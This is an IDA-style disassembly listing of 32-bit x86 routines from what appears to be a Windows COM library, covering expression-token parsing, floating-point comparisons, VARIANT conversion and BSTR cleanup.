loc_69B63924:				; CODE XREF: sub_69B63788+164j
		mov	ecx, esi
		mov	[esi+20h], eax
		call	sub_69B5EA78
		cmp	word ptr [esi+0Eh], 3Dh
		jnz	loc_69B637E2
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFF8h
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B6394C:				; CODE XREF: sub_69B63788+147j
		mov	ecx, eax
		sub	ecx, 5Bh
		jz	loc_69B637D8
		dec	ecx
		dec	ecx
		jz	loc_69B637D8
		sub	ecx, 1Fh
		jz	short loc_69B639C0


loc_69B63964:				; CODE XREF: sub_69B63788+4Aj
					; sub_69B63788+ADj ...
		mov	eax, [esi+34h]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	edx
		call	sub_69B6282D
		mov	edi, eax
		cmp	edi, [esi+1Ch]
		jbe	short loc_69B639B4
		push	[ebp+var_C]
		lea	eax, [esi+28h]
		push	eax
		mov	dword ptr [esi+20h], 0FFFFFFFCh
		call	sub_69B17320
		push	[ebp+var_8]
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	[ebp+var_4]
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	edi
		mov	ecx, esi
		call	sub_69B5EB96
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B639B4:				; CODE XREF: sub_69B63788+1F2j
		mov	ecx, esi
		call	sub_69B62EAF
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B639C0:				; CODE XREF: sub_69B63788+1DAj
		mov	ecx, esi
		call	sub_69B5EA78
		push	7Ch
		pop	eax
		cmp	[esi+0Eh], ax
		jnz	short loc_69B639E3
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFF5h
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B639E3:				; CODE XREF: sub_69B63788+246j
		mov	[esi+20h], eax
		jmp	loc_69B637E2
sub_69B63788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B639EB	proc near		; CODE XREF: sub_69B63AF9+Bp

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	dwTlsIndex
		mov	edi, ecx
		call	dword_69B92970
		mov	ebx, eax
		mov	eax, [ebx+1Ch]
		push	0
		push	[ebp+arg_4]
		mov	ecx, edi
		mov	[ebp+var_8], eax
		mov	dword ptr [ebx+1Ch], 2
		call	sub_69B5EBA5
		test	eax, eax
		jz	short loc_69B63A59
		xor	eax, eax
		mov	al, [edi+0Ch]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B6C11D
		mov	esi, eax
		jmp	short loc_69B63A37
; ---------------------------------------------------------------------------


loc_69B63A32:				; CODE XREF: sub_69B639EB+5Aj
		mov	eax, [edi]
		call	dword ptr [eax+44h]


loc_69B63A37:				; CODE XREF: sub_69B639EB+45j
		mov	ecx, edi
		push	esi
		call	sub_69B62FFC
		cmp	dword ptr [edi+20h], 3Bh
		mov	ecx, edi
		jz	short loc_69B63A32
		lea	eax, [esi+10h]
		neg	esi
		sbb	esi, esi
		push	0
		and	esi, eax
		call	sub_69B5EB78
		jmp	short loc_69B63A5C
; ---------------------------------------------------------------------------


loc_69B63A59:				; CODE XREF: sub_69B639EB+33j
		mov	esi, [ebp+arg_0]


loc_69B63A5C:				; CODE XREF: sub_69B639EB+6Cj
		mov	eax, [ebp+var_8]
		mov	[ebx+1Ch], eax
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B639EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B63A6B	proc near		; CODE XREF: sub_69B63A6B+65p
					; sub_69B63B0C+1Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		push	[ebp+arg_8]
		mov	ebx, [esi+1Ch]
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B6349E
		cmp	dword ptr [esi+20h], 2Fh
		mov	edi, eax
		jnz	short loc_69B63AED
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_69B63AB4
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+4Ch]
		test	al, 10h
		jnz	short loc_69B63AC2


loc_69B63AB4:				; CODE XREF: sub_69B63A6B+3Cj
		push	0
		push	[ebp+arg_0]
		mov	ecx, esi
		push	ebx
		push	edi
		call	sub_69B62F36


loc_69B63AC2:				; CODE XREF: sub_69B63A6B+47j
		push	[ebp+arg_8]
		mov	ebx, [esi+1Ch]
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+var_4]
		call	sub_69B63A6B
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B63AE0
		cmp	byte ptr [ebp+arg_4], al
		jnz	short loc_69B63AED


loc_69B63AE0:				; CODE XREF: sub_69B63A6B+6Ej
		push	0
		push	0
		push	ebx
		push	edi
		mov	ecx, esi
		call	sub_69B62F36


loc_69B63AED:				; CODE XREF: sub_69B63A6B+27j
					; sub_69B63A6B+73j
		dec	dword ptr [esi+48h]
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B63A6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B63AF9	proc near		; CODE XREF: sub_69B6EAE1+2Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[esp+4+arg_0]
		call	sub_69B639EB
		retn	8
sub_69B63AF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B63B0C	proc near		; CODE XREF: sub_69B63B61+Fp
					; sub_69B63BD0+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+1Ch]
		call	sub_69B5EA61
		push	[esp+0Ch+arg_8]
		mov	ecx, esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_69B63A6B
		cmp	dword ptr [esi+20h], 0FFFFFFFDh
		mov	ebx, eax
		jnz	short loc_69B63B56
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[esp+0Ch+arg_8]
		mov	ecx, esi
		push	0
		push	0
		push	edi
		push	ebx
		call	sub_69B62F36
		push	eax
		mov	ecx, esi
		call	sub_69B63B61
		mov	ebx, eax


loc_69B63B56:				; CODE XREF: sub_69B63B0C+26j
		dec	dword ptr [esi+48h]
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	0Ch
sub_69B63B0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B63B61	proc near		; CODE XREF: sub_69B63B0C+43p
					; sub_69B63BD0+68p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_4]
		mov	edi, ecx
		mov	esi, [edi+1Ch]
		push	1
		push	0
		call	sub_69B63B0C
		test	eax, eax
		jz	short loc_69B63B88
		push	0
		push	6
		push	esi
		push	eax
		mov	ecx, edi
		call	sub_69B6296C
		jmp	short loc_69B63B8A
; ---------------------------------------------------------------------------


loc_69B63B88:				; CODE XREF: sub_69B63B61+16j
		xor	eax, eax


loc_69B63B8A:				; CODE XREF: sub_69B63B61+25j
		xor	ecx, ecx
		mov	cl, [edi+0Ch]
		push	0
		push	ecx
		push	[esp+10h+arg_4]
		push	eax
		push	[esp+18h+arg_0]
		call	sub_69B69232
		mov	esi, eax
		add	eax, 10h
		neg	esi
		sbb	esi, esi
		mov	ecx, edi
		and	esi, eax
		call	sub_69B623EA
		test	al, al
		jz	short loc_69B63BC4
		push	[esp+8+arg_4]
		push	0
		push	esi
		call	sub_69B63A6B
		jmp	short loc_69B63BCB
; ---------------------------------------------------------------------------


loc_69B63BC4:				; CODE XREF: sub_69B63B61+53j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+5Ch]


loc_69B63BCB:				; CODE XREF: sub_69B63B61+61j
		pop	edi
		pop	esi
		retn	8
sub_69B63B61	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B63BD0	proc near		; CODE XREF: sub_69B63C59+1Dp
					; sub_69B63C59+72p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		mov	eax, [esi+20h]
		cmp	eax, 2Fh
		jnz	short loc_69B63C0D
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		call	sub_69B6934C
		mov	edi, eax
		add	eax, 10h
		neg	edi
		sbb	edi, edi
		and	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	dword ptr [esi+20h], 0
		jnz	short loc_69B63C43
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+5Ch]
		jmp	short loc_69B63C51
; ---------------------------------------------------------------------------


loc_69B63C0D:				; CODE XREF: sub_69B63BD0+Fj
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_69B63C3F
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		call	sub_69B6934C
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[esp+8+arg_4]
		mov	eax, edi
		add	edi, 10h
		neg	eax
		sbb	eax, eax
		and	eax, edi
		push	eax
		mov	ecx, esi
		call	sub_69B63B61
		jmp	short loc_69B63C51
; ---------------------------------------------------------------------------


loc_69B63C3F:				; CODE XREF: sub_69B63BD0+40j
		mov	edi, [esp+8+arg_0]


loc_69B63C43:				; CODE XREF: sub_69B63BD0+32j
		push	[esp+8+arg_4]
		mov	ecx, esi
		push	0
		push	edi
		call	sub_69B63B0C


loc_69B63C51:				; CODE XREF: sub_69B63BD0+3Bj
					; sub_69B63BD0+6Dj
		dec	dword ptr [esi+48h]
		pop	edi
		pop	esi
		retn	8
sub_69B63BD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B63C59	proc near		; DATA XREF: .text:69B12B70o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+1Ch]
		mov	[ebp+var_8], eax
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B63BD0
		cmp	dword ptr [esi+20h], 7Ch
		mov	ebx, eax
		jnz	short loc_69B63CFF
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	edi
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B699F2
		mov	edi, 82h
		push	0
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], edi
		push	edi
		jmp	short loc_69B63CD7
; ---------------------------------------------------------------------------


loc_69B63CA5:				; CODE XREF: sub_69B63C59+96j
		mov	eax, [esi+1Ch]
		mov	[ebp+var_8], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	[ebp+var_4], edi
		jnz	short loc_69B63CC3
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+4Ch]
		and	eax, edi
		mov	[ebp+var_4], eax


loc_69B63CC3:				; CODE XREF: sub_69B63C59+5Cj
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B63BD0
		push	0
		push	[ebp+var_4]
		mov	ebx, eax


loc_69B63CD7:				; CODE XREF: sub_69B63C59+4Aj
		push	[ebp+var_8]
		mov	ecx, esi
		push	ebx
		call	sub_69B6296C
		mov	ecx, [ebp+var_C]
		push	eax
		call	sub_69B6969A
		cmp	dword ptr [esi+20h], 7Ch
		jz	short loc_69B63CA5
		mov	ecx, [ebp+var_C]
		add	ecx, 10h
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	ebx, eax
		pop	edi


loc_69B63CFF:				; CODE XREF: sub_69B63C59+28j
		dec	dword ptr [esi+48h]
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_69B63C59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B63D0A	proc near		; CODE XREF: sub_69B5EB0B+12p
					; sub_69B5ED81+43p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, [edi]
		cmp	ax, [ecx]
		jb	short loc_69B63D73
		mov	ebx, [ebp+arg_4]
		mov	ecx, [edi+ebx*8-8]
		cmp	ax, [ecx]
		ja	short loc_69B63D73


loc_69B63D2C:				; CODE XREF: sub_69B63D0A+5Ej
					; sub_69B63D0A+62j
		push	[ebp+arg_C]
		mov	eax, ebx
		push	[ebp+arg_8]
		cdq
		sub	eax, edx
		mov	esi, eax
		sar	esi, 1
		push	dword ptr [edi+esi*8]
		call	sub_69B84AC0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_69B63D5A
		mov	eax, [edi+esi*8]
		mov	ecx, [ebp+arg_C]
		cmp	word ptr [eax+ecx*2], 0
		jz	short loc_69B63D6E
		xor	eax, eax
		inc	eax


loc_69B63D5A:				; CODE XREF: sub_69B63D0A+3Ej
		test	esi, esi
		jz	short loc_69B63D73
		test	eax, eax
		jge	short loc_69B63D6A
		inc	esi
		lea	edi, [edi+esi*8]
		sub	ebx, esi
		jmp	short loc_69B63D2C
; ---------------------------------------------------------------------------


loc_69B63D6A:				; CODE XREF: sub_69B63D0A+56j
		mov	ebx, esi
		jmp	short loc_69B63D2C
; ---------------------------------------------------------------------------


loc_69B63D6E:				; CODE XREF: sub_69B63D0A+4Bj
		lea	eax, [edi+esi*8]
		jmp	short loc_69B63D75
; ---------------------------------------------------------------------------


loc_69B63D73:				; CODE XREF: sub_69B63D0A+14j
					; sub_69B63D0A+20j ...
		xor	eax, eax


loc_69B63D75:				; CODE XREF: sub_69B63D0A+67j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B63D0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B63D7C(double)

sub_69B63D7C	proc near		; CODE XREF: sub_69B65A4F+B6p
					; sub_69B6699A+812p ...

var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_69B84BCE
		cmp	eax, 4
		pop	ecx
		pop	ecx
		jle	loc_69B63E3F
		cmp	eax, 200h
		jz	loc_69B63E3F
		fld	[ebp+arg_0]
		call	sub_69B1A82C
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fsubr	[ebp+arg_0]
		fcom	ds:dbl_69B29708
		fst	[ebp+var_C]
		fnstsw	ax
		test	ah, 1
		jz	short loc_69B63DD3
		fcom	ds:dbl_69B296B0
		fnstsw	ax
		test	ah, 41h
		jp	short loc_69B63DF4


loc_69B63DD3:				; CODE XREF: sub_69B63D7C+48j
		push	80004005h
		fstp	st
		push	0
		push	0
		push	0C00CE60Bh
		call	sub_69B2F944
		add	esp, 0Ch
		push	eax
		call	sub_69B2E8A2
		fld	[ebp+var_C]


loc_69B63DF4:				; CODE XREF: sub_69B63D7C+55j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_69B63E16
		fcomp	ds:dbl_69B296F8
		fnstsw	ax
		test	ah, 1
		jnz	short loc_69B63E3A
		inc	[ebp+var_4]
		jmp	short loc_69B63E3A
; ---------------------------------------------------------------------------


loc_69B63E16:				; CODE XREF: sub_69B63D7C+86j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 5
		jp	short loc_69B63E38
		fcomp	ds:dbl_69B296F0
		fnstsw	ax
		test	ah, 5
		jp	short loc_69B63E3A
		dec	[ebp+var_4]
		jmp	short loc_69B63E3A
; ---------------------------------------------------------------------------


loc_69B63E38:				; CODE XREF: sub_69B63D7C+A8j
		fstp	st


loc_69B63E3A:				; CODE XREF: sub_69B63D7C+93j
					; sub_69B63D7C+98j ...
		fild	[ebp+var_4]
		jmp	short locret_69B63E42
; ---------------------------------------------------------------------------


loc_69B63E3F:				; CODE XREF: sub_69B63D7C+18j
					; sub_69B63D7C+23j
		fld	[ebp+arg_0]

locret_69B63E42:			; CODE XREF: sub_69B63D7C+C1j
		leave
		retn	8
sub_69B63D7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B63E46	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B642AB+97p ...

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		and	dword ptr [eax], 0
		xor	eax, eax
		retn	10h
sub_69B63E46	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B63E52	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B642AB+97p ...

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		xor	eax, eax
		retn	10h
sub_69B63E52	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B63E5E	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B642AB+97p ...

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	dword ptr [eax], 1
		xor	eax, eax
		retn	10h
sub_69B63E5E	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B63E6D(double, double)

sub_69B63E6D	proc near		; CODE XREF: sub_69B63F19+12p

arg_0		= qword	ptr  4
arg_8		= qword	ptr  0Ch

		fld	[esp+arg_0]
		fcom	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B63E89
		fcomp	[esp+arg_8]
		fnstsw	ax
		test	ah, 44h
		jmp	short loc_69B63EAF
; ---------------------------------------------------------------------------


loc_69B63E89:				; CODE XREF: sub_69B63E6D+Fj
		fld	[esp+arg_8]
		fsubr	st, st(1)
		fdivrp	st(1), st
		fcom	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 5
		jp	short loc_69B63EA4
		fld	st
		fchs
		fstp	st(1)


loc_69B63EA4:				; CODE XREF: sub_69B63E6D+2Fj
		fcomp	ds:dbl_69B63EC0
		fnstsw	ax
		test	ah, 41h


loc_69B63EAF:				; CODE XREF: sub_69B63E6D+1Aj
		jp	short loc_69B63EB6
		xor	eax, eax
		inc	eax
		jmp	short locret_69B63EB8
; ---------------------------------------------------------------------------


loc_69B63EB6:				; CODE XREF: sub_69B63E6D:loc_69B63EAFj
		xor	eax, eax

locret_69B63EB8:			; CODE XREF: sub_69B63E6D+47j
		retn	10h
sub_69B63E6D	endp

; ---------------------------------------------------------------------------
		align 10h
dbl_69B63EC0	dq 1.0e-14		; DATA XREF: sub_69B63E6D:loc_69B63EA4r

; =============== S U B	R O U T	I N E =======================================



sub_69B63EC8	proc near		; CODE XREF: sub_69B64131+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, [esp+arg_4]
		jnz	short loc_69B63ED6
		xor	eax, eax
		jmp	short locret_69B63EE5
; ---------------------------------------------------------------------------


loc_69B63ED6:				; CODE XREF: sub_69B63EC8+8j
		xor	ecx, ecx
		cmp	eax, [esp+arg_4]
		setnl	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx

locret_69B63EE5:			; CODE XREF: sub_69B63EC8+Cj
		retn	8
sub_69B63EC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B63EE8	proc near		; CODE XREF: sub_69B64154+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_C]
		jnz	short loc_69B63F07
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_69B63EFF
		xor	eax, eax
		jmp	short loc_69B63F15
; ---------------------------------------------------------------------------


loc_69B63EFF:				; CODE XREF: sub_69B63EE8+11j
		sbb	eax, eax
		and	eax, 0FFFFFFFEh
		inc	eax
		jmp	short loc_69B63F15
; ---------------------------------------------------------------------------


loc_69B63F07:				; CODE XREF: sub_69B63EE8+9j
		xor	ecx, ecx
		cmp	eax, [ebp+arg_C]
		setnl	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx


loc_69B63F15:				; CODE XREF: sub_69B63EE8+15j
					; sub_69B63EE8+1Dj
		pop	ebp
		retn	10h
sub_69B63EE8	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B63F19(double, double)

sub_69B63F19	proc near		; CODE XREF: sub_69B64179+66p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= qword	ptr  4
arg_8		= qword	ptr  0Ch

		fld	[esp+arg_8]
		sub	esp, 10h
		fstp	[esp+10h+var_8]
		fld	[esp+10h+arg_0]
		fstp	[esp+10h+var_10]
		call	sub_69B63E6D
		test	eax, eax
		jz	short loc_69B63F38
		xor	eax, eax
		jmp	short locret_69B63F4F
; ---------------------------------------------------------------------------


loc_69B63F38:				; CODE XREF: sub_69B63F19+19j
		fld	[esp+arg_0]
		fcomp	[esp+arg_8]
		fnstsw	ax
		test	ah, 5
		jp	short loc_69B63F4C
		or	eax, 0FFFFFFFFh
		jmp	short locret_69B63F4F
; ---------------------------------------------------------------------------


loc_69B63F4C:				; CODE XREF: sub_69B63F19+2Cj
		xor	eax, eax
		inc	eax

locret_69B63F4F:			; CODE XREF: sub_69B63F19+1Dj
					; sub_69B63F19+31j
		retn	10h
sub_69B63F19	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B63F52(double, double)

sub_69B63F52	proc near		; CODE XREF: sub_69B6424B+18p

arg_0		= qword	ptr  4
arg_8		= qword	ptr  0Ch

		fld	[esp+arg_0]
		fcomp	[esp+arg_8]
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B63F65
		xor	eax, eax
		jmp	short locret_69B63F7C
; ---------------------------------------------------------------------------


loc_69B63F65:				; CODE XREF: sub_69B63F52+Dj
		fld	[esp+arg_0]
		fcomp	[esp+arg_8]
		fnstsw	ax
		test	ah, 5
		jp	short loc_69B63F79
		or	eax, 0FFFFFFFFh
		jmp	short locret_69B63F7C
; ---------------------------------------------------------------------------


loc_69B63F79:				; CODE XREF: sub_69B63F52+20j
		xor	eax, eax
		inc	eax

locret_69B63F7C:			; CODE XREF: sub_69B63F52+11j
					; sub_69B63F52+25j
		retn	10h
sub_69B63F52	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B63F7F(VARIANTARG	*pvarg)

sub_69B63F7F	proc near		; CODE XREF: sub_69B71074+D4p

pvarg		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+pvarg]
		push	edi
		push	esi		; pvarg
		mov	edi, ecx
		call	VariantInit
		mov	eax, [edi]
		dec	eax
		jz	short loc_69B63FF3
		dec	eax
		jz	short loc_69B63FE0
		dec	eax
		jz	short loc_69B63FD3
		dec	eax
		jz	short loc_69B63FC6
		dec	eax
		jz	short loc_69B63FB4
		dec	eax
		jnz	short loc_69B64003
		push	dword ptr [edi+8]
		call	sub_69B5562F
		mov	[esi+8], eax
		mov	word ptr [esi],	9
		jmp	short loc_69B64003
; ---------------------------------------------------------------------------


loc_69B63FB4:				; CODE XREF: sub_69B63F7F+1Ej
		mov	ecx, [edi+8]
		call	sub_69B2F352
		mov	[esi+8], eax
		mov	word ptr [esi],	8
		jmp	short loc_69B64003
; ---------------------------------------------------------------------------


loc_69B63FC6:				; CODE XREF: sub_69B63F7F+1Bj
		fld	qword ptr [edi+8]
		mov	word ptr [esi],	7
		fstp	qword ptr [esi+8]
		jmp	short loc_69B64003
; ---------------------------------------------------------------------------


loc_69B63FD3:				; CODE XREF: sub_69B63F7F+18j
		fld	qword ptr [edi+8]
		mov	word ptr [esi],	5
		fstp	qword ptr [esi+8]
		jmp	short loc_69B64003
; ---------------------------------------------------------------------------


loc_69B63FE0:				; CODE XREF: sub_69B63F7F+15j
		mov	eax, [edi+8]
		mov	[esi+8], eax
		mov	eax, [edi+0Ch]
		mov	[esi+0Ch], eax
		mov	word ptr [esi],	6
		jmp	short loc_69B64003
; ---------------------------------------------------------------------------


loc_69B63FF3:				; CODE XREF: sub_69B63F7F+12j
		mov	al, [edi+8]
		neg	al
		mov	word ptr [esi],	0Bh
		sbb	eax, eax
		mov	[esi+8], ax


loc_69B64003:				; CODE XREF: sub_69B63F7F+21j
					; sub_69B63F7F+33j ...
		pop	edi
		pop	esi
		retn	4
sub_69B63F7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64008	proc near		; CODE XREF: sub_69B644A4+1Dp
					; sub_69B644F1+1Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	[ebp+arg_4]	; int
		dec	eax
		mov	eax, [ebp+arg_0]
		push	ecx		; pbstrOut
		jz	short loc_69B64026
		imul	eax, 7
		add	eax, [ecx]
		call	off_69B99EB0[eax*4]
		jmp	short loc_69B64032
; ---------------------------------------------------------------------------


loc_69B64026:				; CODE XREF: sub_69B64008+Ej
		imul	eax, 7
		add	eax, [ecx]
		call	off_69B99F78[eax*4]


loc_69B64032:				; CODE XREF: sub_69B64008+1Cj
		pop	ebp
		retn	0Ch
sub_69B64008	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64036	proc near		; CODE XREF: sub_69B64E66+2Ep
					; sub_69B64F86+6Ep ...
		push	0Ch
		push	offset dword_69B64088
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8] ; lpString
		call	sub_69B1A587
		mov	[ebp-1Ch], eax
		jmp	short loc_69B6406D
; ---------------------------------------------------------------------------


loc_69B64053:				; DATA XREF: .text:69B6408Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6405C:				; DATA XREF: .text:69B64090o
		mov	esp, [ebp-18h]
		push	dword ptr [ebp+8] ; BSTR
		call	SysFreeString
		call	sub_69B2E860


loc_69B6406D:				; CODE XREF: sub_69B64036+1Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp+8] ; BSTR
		call	SysFreeString
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	4
sub_69B64036	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B64088	dd 0FFFFFFFFh			dd offset loc_69B64053
		dd offset loc_69B6405C

; =============== S U B	R O U T	I N E =======================================



sub_69B64094	proc near		; CODE XREF: sub_69B64363+D2p
					; sub_69B65227+3Ep
		fld	dbl_69B9B2D8
		fcomp	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B640B8
		and	dword ptr dbl_69B9B2D8,	0
		mov	dword ptr dbl_69B9B2D8+4, 0FFF80000h


loc_69B640B8:				; CODE XREF: sub_69B64094+11j
		fld	dbl_69B9B2D8
		retn
sub_69B64094	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B640BF	proc near		; CODE XREF: sub_69B64363+E9p
		fld	dbl_69B9B2E0
		fcomp	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B640E3
		and	dword ptr dbl_69B9B2E0,	0
		mov	dword ptr dbl_69B9B2E0+4, 7FF00000h


loc_69B640E3:				; CODE XREF: sub_69B640BF+11j
		fld	dbl_69B9B2E0
		retn
sub_69B640BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B640EA	proc near		; CODE XREF: sub_69B64363:loc_69B64453p
		fld	dbl_69B9B2E8
		fcomp	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B6410E
		and	dword ptr dbl_69B9B2E8,	0
		mov	dword ptr dbl_69B9B2E8+4, 0FFF00000h


loc_69B6410E:				; CODE XREF: sub_69B640EA+11j
		fld	dbl_69B9B2E8
		retn
sub_69B640EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64115	proc near		; CODE XREF: sub_69B64999+2Ap
					; sub_69B64A14+109p ...

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		mov	eax, [esp+arg_0]
		mov	dword ptr [ecx], 6
		mov	[ecx+8], eax
		jz	short locret_69B6412E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

locret_69B6412E:			; CODE XREF: sub_69B64115+11j
		retn	4
sub_69B64115	endp


